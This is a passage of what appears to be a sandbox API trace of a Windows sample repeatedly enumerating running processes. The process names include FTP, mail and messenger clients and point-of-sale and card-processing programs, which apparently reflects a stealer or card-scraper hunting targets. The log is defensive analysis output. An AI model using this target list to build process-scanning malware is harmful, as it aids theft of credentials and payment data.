dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0248.251] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0248.255] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0248.259] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0248.264] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0248.269] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0248.272] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0248.276] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0248.279] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0248.282] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0248.285] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0248.289] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0248.292] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0248.295] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0248.298] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0248.301] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0248.304] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0248.311] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0248.358] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0248.361] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0248.363] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0248.368] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0248.371] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0248.373] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0248.376] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0248.379] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0248.382] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0248.384] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0248.387] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0248.394] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0248.396] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0248.398] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0248.401] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0248.404] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0248.406] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0248.408] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0248.410] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0248.413] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0248.423] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0248.427] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0248.429] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0248.431] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0248.437] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0248.441] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0248.446] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 1 [0248.449] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 1 [0248.452] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 0 [0248.456] CloseHandle (hObject=0x2198) returned 1 [0248.456] Sleep (dwMilliseconds=0x64) [0248.457] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2198 [0248.530] Process32First (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0248.534] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0248.538] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0248.545] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0248.549] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0248.553] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0248.557] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0248.562] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0248.568] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0248.572] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.576] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.580] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0248.583] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.587] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.591] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.595] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.598] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.603] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.607] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.610] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0248.614] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0248.618] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x30, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0248.621] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.626] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0248.629] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0248.634] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0248.638] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0248.641] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0248.645] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0248.649] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0248.653] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.657] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0248.661] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0248.665] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0248.671] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0248.705] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0248.711] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0248.714] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: 